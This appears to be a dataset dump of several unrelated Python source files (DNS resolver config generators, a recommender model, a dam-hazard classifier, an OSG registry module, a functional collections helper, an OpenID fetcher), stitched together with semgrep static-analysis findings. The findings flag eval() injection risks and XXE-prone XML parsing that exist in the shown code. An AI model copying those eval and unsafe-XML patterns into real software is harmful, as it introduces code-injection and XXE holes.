"owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/55824a47a9bd1ce1.py", "start": {"line": 2, "col": 66, "offset": 101}, "end": {"line": 2, "col": 73, "offset": 108}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_55824a47a9bd1ce1_faddd80a", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 11, "line_end": 11, "column_start": 21, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/55824a47a9bd1ce1.py", "start": {"line": 11, "col": 21, "offset": 275}, "end": {"line": 11, "col": 25, "offset": 279}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
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] | d22b.py | /d22b.py | jogloran/advent-of-code-2020 | MIT | |
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} | 2.359375 | stackv2 | from formatter import Formatter
from textwrap import dedent
from socket import AF_INET, AF_INET6, inet_pton, error as socket_error
def try_inet_pton(af, ip):
try:
inet_pton(af, ip)
return True
except socket_error:
return False
class _DNSFormatter(Formatter):
filters = {
"v4": lambda value: try_inet_pton(AF_INET, value),
"v6": lambda value: try_inet_pton(AF_INET6, value),
}
def populate_argument_parser(self, parser):
parser.add_argument(
"--filter",
dest="filter",
help="""Only include certain servers.
Possible choices: %s
""" %
", ".join(self.filters.keys()),
choices=list(self.filters.keys()))
def _map_communities(self, arguments, communities):
filters = [filters[options.filter]] if arguments.filter else []
filtered = dict()
for community, data in communities:
try:
domains = data['domains']
nameservers = data['nameservers']
except (TypeError, KeyError):
continue
servers = filter(lambda d: all(f(d) for f in filters), nameservers)
servers = list(servers)
servers = list(filter(lambda d: all(f(d) for f in filters), nameservers))
if len(domains) == 0 or len(servers) == 0:
filtered[community] = None
else:
filtered[community] = dict({'domains': domains, 'servers': servers})
return filtered.items()
def generate_config(self, arguments, communities):
communities = self._map_communities(arguments, communities)
for community, data in communities:
self.add_comment(community)
if data is None:
self.add_comment("No valid domains found")
else:
self._format_config(data['domains'], data['servers'])
class DnsmasqFormatter(_DNSFormatter):
def _format_config(self, domains, servers):
for domain in domains:
for server in servers:
self.config.append("server=/%s/%s" % (domain, server))
class BindFormatter(_DNSFormatter):
def _format_config(self, domains, servers):
for domain in domains:
self.config.append(dedent("""
zone "%s" {
type static-stub;
server-addresses { %s; };
};
""" % (domain, "; ".join(servers))).lstrip())
class BindForwardFormatter(_DNSFormatter):
def _format_config(self, domains, servers):
for domain in domains:
self.config.append(dedent("""
zone "%s" {
type forward;
forwarders { %s; };
forward only;
};
""" % (domain, "; ".join(servers))).lstrip())
class UnboundForwardFormatter(_DNSFormatter):
def generate_config(self, arguments, communities):
communities = self._map_communities(arguments, communities)
buffer = []
self.add_comment(
"""
This file is automatically generated.
""")
self.config.append('server:')
self.config.append('\tlocal-zone: "10.in-addr.arpa" nodefault')
for community, data in communities:
if data is None:
self.add_comment("No valid domains found")
continue
self.config.append('\n\t# %s' % community)
for domain in data['domains']:
if domain.endswith('.arpa'):
self.config.append('\tlocal-zone: "%s" nodefault' % domain)
else:
self.config.append('\tdomain-insecure: "%s"' % domain)
buffer.append('\n#\n# %s\n#\n' % community)
for domain in data['domains']:
buffer.append('forward-zone:')
buffer.append('\tname: "%s"' % domain)
for server in data['servers']:
buffer.append('\tforward-addr: %s' % server)
self.config = self.config + buffer
| 139 | 29.15 | 85 | 20 | 851 | python | [{"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_7d37b03fc19e01cb_971f0af9", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 17, "line_end": 17, "column_start": 29, "column_end": 58, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/7d37b03fc19e01cb.py", "start": {"line": 17, "col": 29, "offset": 340}, "end": {"line": 17, "col": 58, "offset": 369}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_7d37b03fc19e01cb_81fc3254", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 18, "line_end": 18, "column_start": 29, "column_end": 59, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/7d37b03fc19e01cb.py", "start": {"line": 18, "col": 29, "offset": 399}, "end": {"line": 18, "col": 59, "offset": 429}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
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""
] | dns_formatter.py | /dns_formatter.py | sargon/icvpn-scripts | MIT | |
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} | 2.828125 | stackv2 | # _*_ coding:utf8 _*_
import numpy as np
import pandas as pd
import tensorflow as tf
import sys
#import ncf.metrics
import metrics
class NCF(object):
def __init__(self, embed_size, user_size, item_size, lr,
optim, initializer, loss_func, activation_func,
regularizer_rate, iterator, topk, dropout, is_training):
"""
Important Arguments.
embed_size: The final embedding size for users and items.
optim: The optimization method chosen in this model.
initializer: The initialization method.
loss_func: Loss function, we choose the cross entropy.
regularizer_rate: L2 is chosen, this represents the L2 rate.
iterator: Input dataset.
topk: For evaluation, computing the topk items.
"""
self.embed_size = embed_size # 16
self.user_size = user_size # 1508
self.item_size = item_size # 2071
self.lr = lr
self.initializer = initializer
self.loss_func = loss_func
self.activation_func = activation_func
self.regularizer_rate = regularizer_rate
self.optim = optim
self.topk = topk # 10
self.dropout = dropout
self.is_training = is_training
self.iterator = iterator
def get_data(self):
sample = self.iterator.get_next() # 得到Dataset中的数据
self.user = sample['user']
self.item = sample['item']
# 转换tensor为一个新类型
self.label = tf.cast(sample['label'],tf.float32)
def inference(self):
# 设置参数初始化方式、损失函数、参数更新方式(优化器)
""" Initialize important settings """
self.regularizer = tf.contrib.layers.l2_regularizer(self.regularizer_rate)
if self.initializer == 'Normal':
self.initializer = tf.truncated_normal_initializer(stddev=0.01)
elif self.initializer == 'Xavier_Normal':
self.initializer = tf.contrib.layers.xavier_initializer()
else:
self.initializer = tf.glorot_uniform_initializer()
if self.activation_func == 'ReLU':
self.activation_func = tf.nn.relu
elif self.activation_func == 'Leaky_ReLU':
self.activation_func = tf.nn.leaky_relu
elif self.activation_func == 'ELU':
self.activation_func = tf.nn.elu
if self.loss_func == 'cross_entropy':
self.loss_func = tf.nn.sigmoid_cross_entropy_with_logits
if self.optim == 'SGD':
self.optim = tf.train.GradientDescentOptimizer(self.lr,name='SGD')
elif self.optim == 'RMSProp':
self.optim = tf.train.RMSPropOptimizer(self.lr,
decay=0.9,
momentum=0.0,
name='RMSProp')
elif self.optim == 'Adam':
self.optim = tf.train.AdamOptimizer(self.lr, name='Adam')
def create_model(self):
with tf.name_scope('input'):
# [0,1,...,0]指示某个用户的one-hot编码矩阵,大小为 Nx1508
# N为样本总数,训练集就是训练集总数,测试集就是测试集总数,1508是用户数
self.user_onehot = tf.one_hot(self.user,self.user_size,name='user_onehot')
# Nx2071,指示那个item被选中,2071为item的数量
self.item_onehot = tf.one_hot(self.item,self.item_size,name='item_onehot')
with tf.name_scope('embed'):
# inputs: 输入数据,这里是大小为 Nx1508 的Tensor张量数据
# units: 隐藏层神经元个数, 预置为16
# 激活函数为Relu,用Xavier方法初始化参数,使用L2范数作为正则化参数的惩罚项
# [Nx1508] x [1508x16] = Nx16
self.user_embed_GMF = tf.layers.dense(inputs = self.user_onehot,
units = self.embed_size,
activation = self.activation_func,
kernel_initializer=self.initializer,
kernel_regularizer=self.regularizer,
name='user_embed_GMF')
# [Nx2071] x [2071x16]= Nx16
self.item_embed_GMF = tf.layers.dense(inputs=self.item_onehot,
units=self.embed_size,
activation=self.activation_func,
kernel_initializer=self.initializer,
kernel_regularizer=self.regularizer,
name='item_embed_GMF')
# [Nx1508] x [1508x16] = Nx16
self.user_embed_MLP = tf.layers.dense(inputs=self.user_onehot,
units=self.embed_size,
activation=self.activation_func,
kernel_initializer=self.initializer,
kernel_regularizer=self.regularizer,
name='user_embed_MLP')
# [Nx2071] x [2071x16]= Nx16
self.item_embed_MLP = tf.layers.dense(inputs=self.item_onehot,
units=self.embed_size,
activation=self.activation_func,
kernel_initializer=self.initializer,
kernel_regularizer=self.regularizer,
name='item_embed_MLP')
with tf.name_scope("GMF"):
# [Nx16] x [Nx16] = [Nx16] 逐元素相加,输出一个等shape的矩阵
self.GMF = tf.multiply(self.user_embed_GMF, self.item_embed_GMF,name='GMF')
# 多层感知器网络
with tf.name_scope("MLP"):
# 按列拼接两个Tensor张量,[Nx16]与[Nx16]按列拼接等于[Nx32]
self.interaction = tf.concat([self.user_embed_MLP, self.item_embed_MLP],
axis=-1, name='interaction')
print(self.interaction.shape)
# [Nx32] x [32x32] = [Nx32]
self.layer1_MLP = tf.layers.dense(inputs=self.interaction,
units=self.embed_size * 2,
activation=self.activation_func,
kernel_initializer=self.initializer,
kernel_regularizer=self.regularizer,
name='layer1_MLP')
# 使用dropout方法优化神经元的激活
self.layer1_MLP = tf.layers.dropout(self.layer1_MLP, rate=self.dropout)
print(self.layer1_MLP.shape)
# [Nx32] x [32x16] = [Nx16]
self.layer2_MLP = tf.layers.dense(inputs=self.layer1_MLP,
units=self.embed_size,
activation=self.activation_func,
kernel_initializer=self.initializer,
kernel_regularizer=self.regularizer,
name='layer2_MLP')
self.layer2_MLP = tf.layers.dropout(self.layer2_MLP, rate=self.dropout)
print(self.layer2_MLP.shape)
# [Nx16] x [16x8] = [Nx8]
self.layer3_MLP = tf.layers.dense(inputs=self.layer2_MLP,
units=self.embed_size // 2,
activation=self.activation_func,
kernel_initializer=self.initializer,
kernel_regularizer=self.regularizer,
name='layer3_MLP')
self.layer3_MLP = tf.layers.dropout(self.layer3_MLP, rate=self.dropout)
print(self.layer3_MLP.shape)
#得到预测值
with tf.name_scope('concatenation'):
# [Nx16] 按列拼接 [Nx8] = [Nx24]
self.concatenation = tf.concat([self.GMF,self.layer3_MLP],
axis=-1,name='concatenation')
# [Nx24] x [24x1] = [Nx1]
self.logits = tf.layers.dense(inputs= self.concatenation,
units = 1,
activation=None,
kernel_initializer=self.initializer,
kernel_regularizer=self.regularizer,
name='predict')
print(self.logits.shape)
# 转化[Nx1]矩阵为1D数组,为(N,)
self.logits_dense = tf.reshape(self.logits,[-1])
print(self.logits_dense.shape)
with tf.name_scope("loss"):
self.loss = tf.reduce_mean(self.loss_func(
labels=self.label, logits=self.logits_dense, name='loss'))
with tf.name_scope("optimzation"):
self.optimzer = self.optim.minimize(self.loss)
def eval(self):
with tf.name_scope("evaluation"):
self.item_replica = self.item
_, self.indice = tf.nn.top_k(tf.sigmoid(self.logits_dense), self.topk)
def summary(self):
""" Create summaries to write on tensorboard. """
self.writer = tf.summary.FileWriter('./graphs/NCF', tf.get_default_graph())
with tf.name_scope("summaries"):
tf.summary.scalar('loss', self.loss)
tf.summary.histogram('histogram loss', self.loss)
self.summary_op = tf.summary.merge_all()
def build(self):
self.get_data()
self.inference()
self.create_model()
self.eval()
self.summary()
self.saver = tf.train.Saver(tf.global_variables())
def step(self, session, step):
""" Train the model step by step. """
if self.is_training:
loss, optim, summaries = session.run(
[self.loss, self.optimzer, self.summary_op])
self.writer.add_summary(summaries, global_step=step)
else:
indice, item = session.run([self.indice, self.item_replica])
prediction = np.take(item, indice)
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# Import Packages
import pandas as pd
import os
import sklearn as sk
import numpy as np
import pickle
from imblearn.over_sampling import ADASYN
from sklearn.metrics import roc_curve, auc
# Global Vars
pathto_data = '/app_io'
pathto_spacefeats = os.path.join(pathto_data, 'spatial_features_model', 'output')
pathto_damdata = os.path.join(pathto_data, 'phase_1_optimization', 'input', 'MA_U.csv')
pathto_deployidx = os.path.join(pathto_data, 'phase_1_optimization', 'input', 'deploy_idx.pkl')
pathto_phase1_results = os.path.join(pathto_data, 'phase_1_results_convert', 'output', 'results.csv')
pathto_solution_classifications = os.path.join(pathto_data, 'phase_2_assessment', 'output', 'solution_classifications')
pathto_assessment_objectives = os.path.join(pathto_data, 'phase_2_assessment', 'output', 'assessment_objectives')
parameter_names = ['N_length', 'N_width', 'n_estimators', 'min_samples_split', 'min_samples_leaf',
'min_weight_fraction_leaf', 'max_depth', 'max_features', 'max_leaf_nodes']
objective_names = ['P2_accuracy', 'P2_FPR', 'P2_TPR', 'P1_AUROCC']
feature_names = ['Dam Height (ft)', 'Dam Length (ft)', 'Reservoir Size (acre-ft)', 'Maximum Downstream Slope (%)',
'Downstream Houses', 'Downstream Population', 'Building Exposure ($1000)',
'Building Footprint (1000 sq. ft.)', 'Content Exposure ($1000)']
predicted_name = 'Hazard'
positive_lab = 'NH'
def parameter_converter(params):
"""
Convert parameter to valid types
:param params: tuple
current parameters of default types
:return: dict
All the corresponding parameters in required types
"""
# Parse Ints
for i, val in enumerate(params):
if val.is_integer():
params[i] = int(val)
# Convert to Dictionary
param_dict = dict(zip(parameter_names, params))
return param_dict
def get_features(param_dict):
"""
Retrive the corresponding spatial and non-spatial feature values
:param param_dict: dict
All the corresponding simulation parameters
:return: DataFrame
Spatial and non-spatial dam hazard feature values
"""
# Import Spatial Features
df_name = 'N_length_' + str(param_dict['N_length']) + '_N_width_' + str(param_dict['N_width'])
space_feats = pd.read_hdf(os.path.join(pathto_spacefeats, 'spatial_feats.h5'), df_name)
# Import Non-Spatial Features
data = pd.read_csv(pathto_damdata)
# Merge Features
data = space_feats.join(data)
data.index = data['RECORDID']
# Rename Columns
data = data.rename(index=str, columns={'HAZARD': predicted_name, 'DAM_HEIGHT': feature_names[0],
'DAM_LENGTH': feature_names[1], 'NORMAL_STORAGE': feature_names[2],
'Slope_max': feature_names[3], 'hous_sum': feature_names[4],
'pop_sum': feature_names[5], 'buil_sum': feature_names[6],
'foot_sum': feature_names[7], 'cont_sum': feature_names[8]})
# Extract Features
data = data[feature_names+[predicted_name]]
# Export
return data
def preprocessor(df):
"""
Processing the feature values before classification
:param df: DataFrame
Feature values
:return: DataFrame
Processed feature values
"""
# Combine Categories
df = df.replace(to_replace=['L', 'S', 'H'], value=['NH', 'NH', 'H'])
# Replace nans with median
df = df.fillna(df.median())
# Specify Objective
y = df[predicted_name]
# Shape Data
X = np.array(df[feature_names])
y = np.array(y)
return X, y
def train_model(ml_params, data):
"""
Train the random forest to the current set of hyperparameters (no cross-validation)
:param ml_params: dict
Current set of hyperparameters
:param data: DataFrame
The current set of dams with features and true hazard classifications
:return: RandomForestClassifier
Trained random forest
"""
# Initialized Vars
random_state = 1008
# Process Data
X, y = preprocessor(data)
# Resample the training data to deal with class imbalance
method = ADASYN(random_state=random_state)
X_res, y_res = method.fit_sample(X, y)
# Create Model
clf = sk.ensemble.RandomForestClassifier(n_jobs=-1, random_state=random_state,
n_estimators=ml_params['n_estimators'],
min_samples_split=ml_params['min_samples_split'],
min_samples_leaf=ml_params['min_samples_leaf'],
min_weight_fraction_leaf=ml_params['min_weight_fraction_leaf'],
max_depth=ml_params['max_depth'],
max_features=ml_params['max_features'],
max_leaf_nodes=ml_params['max_leaf_nodes'])
# Fit model to train data
clf.fit(X_res, y_res)
# Export
return clf
def predict_values(model, data):
"""
Predict values based on a trained random forest
:param model: RandomForestClassifier
Trained random forest
:param data: DataFrame
The current set of dams with features and true hazard classifications
:return: DataFrame
The current set of dams with features, true hazard classifications, and predicted hazard
classifications
"""
# Process Data
X, y = preprocessor(data)
# Predicted Values
y_pred = model.predict(X)
# Append Predicted Value
data['True Hazard Class'] = y
data['Predicted Hazard Class'] = y_pred
# Area Under ROC Curve
y_score = model.predict_proba(X)[:, 1]
false_positive, true_positive, _ = roc_curve(y, y_score, pos_label=positive_lab)
AUROCC = auc(false_positive, true_positive)
data['AUROCC'] = AUROCC
return data
def CM(row):
"""
Confusion matrix function to classify true positive, false positive, false negative, or true negative
classifications
:param row: Series
Predicted and true classification of the current dam being evaluated
:return: str
Classification type
"""
if row['True Hazard Class'] == 'H' and row['Predicted Hazard Class'] == 'H':
return 'TN'
elif row['True Hazard Class'] == 'NH' and row['Predicted Hazard Class'] == 'NH':
return 'TP'
elif row['True Hazard Class'] == 'H' and row['Predicted Hazard Class'] == 'NH':
return 'FP'
elif row['True Hazard Class'] == 'NH' and row['Predicted Hazard Class'] == 'H':
return 'FN'
def get_obj(df):
"""
Calculate objective values
:param df: dataframe
Phase 2 classifications of current solution
:return:
Phase 2 objective values
"""
# Extract Errors
TP = df['error'].value_counts()['TP']
TN = df['error'].value_counts()['TN']
FP = df['error'].value_counts()['FP']
FN = df['error'].value_counts()['FN']
# Calculate Objectives
accuracy = (TP+TN)/(TP+TN+FP+FN)
FPR = FP/(FP+TN)
TPR = TP/(TP+FN)
AUROCC = df['AUROCC'][0]
return pd.Series([FN, FP, TN, TP, accuracy, FPR, TPR, AUROCC], index=['P2_FN', 'P2_FP', 'P2_TN', 'P2_TP']+objective_names)
def simulation(vars, name):
"""
Evaluate a dam hazard potential 'simulation' with a given set of spatial parameters and random forest
hyperparameters
:param vars: tuple
set of spatial and nonspatial parameters
:param name: str
Name of current solution
:return: Series
Phase 2 objective values
"""
# Convert Parameters
param_dict = parameter_converter(vars)
# Get Features
data = get_features(param_dict)
# Get Deployment Indexes
with open(pathto_deployidx, 'rb') as f:
deploy_idx = pickle.load(f)
# Train Model on All But Deployment Features
model = train_model(param_dict, data.drop(deploy_idx))
# Predict Deployment Features
df = predict_values(model, data.loc[deploy_idx])
# Compute Confusion Matrix
df['error'] = df.apply(CM, axis=1)
# Export Classifications
df.to_csv(os.path.join(pathto_solution_classifications, 'solution_'+str(int(name)) + '.csv'), index=False)
# Compute Objectives
objs = get_obj(df)
print(objs)
return objs
def main():
# Import Reference Set
df = pd.read_table(pathto_phase1_results, sep=',').infer_objects()
# Use All Solutions
df['solution_num'] = list(df.index)
# Run Simulation
objs_df = df.apply(lambda row: simulation(row[parameter_names].tolist(), row['solution_num']), axis=1)
rep_df = pd.concat([df, objs_df], axis=1)
# Export Representative Solution
rep_df.to_csv(os.path.join(pathto_assessment_objectives, 'assessment_results.csv'), index=False, header=True, sep=',')
return 0
if __name__ == '__main__':
main()
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] | assess.py | /assess.py | kravitsjacob/phase_2_assessment | MIT | |
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} | 2.34375 | stackv2 | import re
try: # py3
from configparser import ConfigParser
except ImportError: # py2
from ConfigParser import ConfigParser
import xml.etree.ElementTree as ET
import http.client
import urllib.error
import urllib.request
from flask import current_app, request
from .exceptions import ConfigurationError
TOPOLOGY_RG = "https://topology.opensciencegrid.org/rgsummary/xml"
def get_user_info():
try:
return current_app.config["USER_INFO_FAKE"]
except:
pass
result = {
"idp": request.environ.get("OIDC_CLAIM_idp_name", None),
"id": request.environ.get("OIDC_CLAIM_osgid", None),
"name": request.environ.get("OIDC_CLAIM_name", None),
"email": request.environ.get("OIDC_CLAIM_email", None)
}
current_app.logger.debug("Authenticated user info is {}".format(str(result)))
return result
def is_signed_up(user_info):
return user_info.get("id")
def get_sources(user_info):
"""
Query topology to get a list of valid CEs and their managers
"""
osgid = user_info.get("id")
if not osgid:
return []
# URL for all Production CE resources
# topology_url = TOPOLOGY_RG + '?gridtype=on&gridtype_1=on&service_on&service_1=on'
# URL for all Execution Endpoint resources
topology_url = TOPOLOGY_RG + '?service=on&service_157=on'
try:
response = urllib.request.urlopen(topology_url)
topology_xml = response.read()
except (urllib.error.URLError, http.client.HTTPException):
raise TopologyError('Error retrieving OSG Topology registrations')
try:
topology_et = ET.fromstring(topology_xml)
except ET.ParseError:
if not topology_xml:
msg = 'OSG Topology query returned empty response'
else:
msg = 'OSG Topology query returned malformed XML'
raise TopologyError(msg)
os_pool_resources = []
resources = topology_et.findall('./ResourceGroup/Resources/Resource')
if not resources:
raise TopologyError('Failed to find any OSG Topology resources')
for resource in resources:
try:
fqdn = resource.find('./FQDN').text.strip()
except AttributeError:
# skip malformed resource missing an FQDN
continue
active = False
try:
active = resource.find('./Active').text.strip().lower() == "true"
except AttributeError:
continue
if not active:
continue
try:
services = [service.find("./Name").text.strip()
for service in resource.findall("./Services/Service")]
except AttributeError:
continue
if ('Execution Endpoint' not in services) and ('Submit Node' not in services):
continue
try:
admin_contacts = [contact_list.find('./Contacts')
for contact_list in resource.findall('./ContactLists/ContactList')
if contact_list.findtext('./ContactType', '').strip() == 'Administrative Contact']
except AttributeError:
# skip malformed resource missing contacts
continue
for contact_list in admin_contacts:
for contact in contact_list.findall("./Contact"):
if contact.findtext('./CILogonID', '').strip() == osgid:
os_pool_resources.append(fqdn)
return os_pool_resources
SOURCE_CHECK = re.compile(r"^[a-zA-Z][-.0-9a-zA-Z]*$")
def is_valid_source_name(source_name):
return bool(SOURCE_CHECK.match(source_name))
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"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service."
] | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | sources.py | /registry/sources.py | yongleyuan/open-science-pool-registry | Apache-2.0 | |
2024-11-18T18:05:53.886832+00:00 | 1,514,819,429,000 | 360ee762aee9a172e998864ffe800eb47944b45b | 2 | {
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"visit_date": "2021-01-23T16:49:47.024514"
} | 2.421875 | stackv2 | from typing import List, Dict, Any
from collections import defaultdict, deque
from itertools import tee
import pandas as pd
import numpy as np
import numba as nb
from copy import deepcopy
from functools import reduce
class op:
@staticmethod
def mul(a, b): return a * b
def sub(a, b): return a - b
def add(a, b): return a + b
def div(a, b): return a / b
def mod(a, b): return a % b
def anno(a, b): return a@b
def e_method(method, a, b): return eval(f"a.{method}(b)")
def e_func(func, a, b): return eval(f"{func}(a,b)")
class block:
pass
class globals_manager:
def __new__(self, global_vars=None):
try:
return self.globals_
except AttributeError:
self.globals_ = global_vars
def lisp(*targs, **kwargs):
argNums = len(targs)
if not argNums:
return None
elif argNums is 1:
value, = targs
return value
else:
f, *ttargs = targs
ttargs = map(lambda x: lisp(x), ttargs)
kw = dict(map(lambda x: (x, lisp(kwargs[x])), kwargs))
return f(*ttargs, **kw)
class richIterator:
def __init__(self, *args, **kwargs):
super(richIterator, self).__init__(*args, **kwargs)
self.recovery_vars = {}
def filter(self, f):
return richGenerator((each for each in self if f(each)))
def recovery(self):
globals_vars = globals_manager(None)
if self.recovery_vars:
recovery_vars = self.recovery_vars
for key in recovery_vars:
globals_vars[key] = recovery_vars[key]
def __matmul__(self, f):
return f(self)
def groupBy(self, f, containerType=list):
if containerType is list:
res: Dict[Any, eval("self.__class__")] = defaultdict(
eval("self.__class__"))
for each in self:
res[f(each)].append(each)
elif containerType is set:
res: Dict = dict()
for each in self:
key = f(each)
if key not in res:
res[key] = each
else:
return TypeError(f"method .groupBy for containerType '{containerType}'\
is not defined yet,\
you can define it by yourself.")
return richDict(res)
def let(self, **kwargs):
globals_vars = globals_manager(None)
if 'this' not in kwargs:
kwargs['this'] = self
for key in kwargs:
if key in globals_vars:
value = globals_vars[key]
self.recovery_vars[key] = value if value != "this" else self
value = kwargs[key]
globals_vars[key] = value if value != "this" else self
return self
def then(self, *args, **kwargs):
ret = lisp(*args, **kwargs)
self.recovery()
return ret
def map(self, f, *args, **kwargs):
args = (self,) + args
return richIterator.thenMap(f, *args, **kwargs)
def mapIndexed(self, f: "function<Int,T>", *args, **kwargs):
args = (range(len(self)), self) + args
return richIterator.thenMap(f, *args, *kwargs)
def connectedWith(self,cases:tuple):
def test(item):
for case_judge, case_action in cases:
if case_action(item):
return case_action(item)
return None
return richGenerator(map(test, self))
def tolist(self):
return [each for each in self]
def totuple(self):
return tuple(each for each in self)
def toset(self):
return set(self)
def todict(self):
return dict(zip(self))
def zip(self, iterator):
return zip(self, iterator)
def togen(self):
return richGenerator(self)
@staticmethod
def thenMap(f, *args, **kwargs):
if kwargs:
kwargsKeys = kwargs.keys()
kwargsValues = zip(* kwargs.values())
args = zip(*args)
if kwargs:
return richGenerator(f(*arg, **dict(zip(kwargsKeys, kwargsValue))) for arg, kwargsValue in zip(args, kwargsValues))
else:
return richGenerator(f(*arg) for arg in args)
class generator:
def __init__(self, iterable):
self.obj = iterable
def __iter__(self):
for each in self.obj:
yield each
def togen(self):
return self.obj
class richGenerator(richIterator, generator):
pass
class richDict(richIterator, dict):
pass
| 176 | 24.82 | 127 | 19 | 1,075 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_ab989d7f8edafb13_5e4e872b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 30, "line_end": 30, "column_start": 40, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/ab989d7f8edafb13.py", "start": {"line": 30, "col": 40, "offset": 488}, "end": {"line": 30, "col": 62, "offset": 510}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. 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"CWE-95",
"CWE-95"
] | [
"rules.python.lang.security.audit.eval-detected",
"rules.python.lang.security.audit.eval-detected"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
30,
33
] | [
30,
33
] | [
40,
36
] | [
62,
56
] | [
"A03:2021 - Injection",
"A03:2021 - Injection"
] | [
"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.",
"Detected the use of eval(). eval() can be dangerous if used... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | collections.py | /freestyle/collections.py | thautwarm/Stardust | Apache-2.0 | |
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"is_vendor": false,
"language": "Python",
"length_bytes": 15881,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/openid/fetchers.py",
"provenance": "stack-edu-0054.json.gz:568873",
"repo_name": "necaris/python3-openid",
"revision_date": 1657390380000,
"revision_id": "92235252f0a18b702bc86f17c0c5f5a9d68967a7",
"snapshot_id": "2a95387d266a31bebc81b41c5aeb5fb4ae2d4297",
"src_encoding": "UTF-8",
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"url": "https://raw.githubusercontent.com/necaris/python3-openid/92235252f0a18b702bc86f17c0c5f5a9d68967a7/openid/fetchers.py",
"visit_date": "2023-08-24T15:19:18.180102"
} | 2.328125 | stackv2 | # -*- test-case-name: openid.test.test_fetchers -*-
"""
This module contains the HTTP fetcher interface and several implementations.
"""
__all__ = [
'fetch', 'getDefaultFetcher', 'setDefaultFetcher', 'HTTPResponse',
'HTTPFetcher', 'createHTTPFetcher', 'HTTPFetchingError', 'HTTPError'
]
import urllib.request
import urllib.error
import urllib.parse
import http.client
import time
import io
import sys
import contextlib
import openid
import openid.urinorm
# Try to import httplib2 for caching support
# http://bitworking.org/projects/httplib2/
try:
import httplib2
except ImportError:
# httplib2 not available
httplib2 = None
# try to import pycurl, which will let us use CurlHTTPFetcher
try:
import pycurl
except ImportError:
pycurl = None
USER_AGENT = "python-openid/%s (%s)" % (openid.__version__, sys.platform)
MAX_RESPONSE_KB = 1024
def fetch(url, body=None, headers=None):
"""Invoke the fetch method on the default fetcher. Most users
should need only this method.
@raises Exception: any exceptions that may be raised by the default fetcher
"""
fetcher = getDefaultFetcher()
return fetcher.fetch(url, body, headers)
def createHTTPFetcher():
"""Create a default HTTP fetcher instance
prefers Curl to urllib2."""
if pycurl is None:
fetcher = Urllib2Fetcher()
else:
fetcher = CurlHTTPFetcher()
return fetcher
# Contains the currently set HTTP fetcher. If it is set to None, the
# library will call createHTTPFetcher() to set it. Do not access this
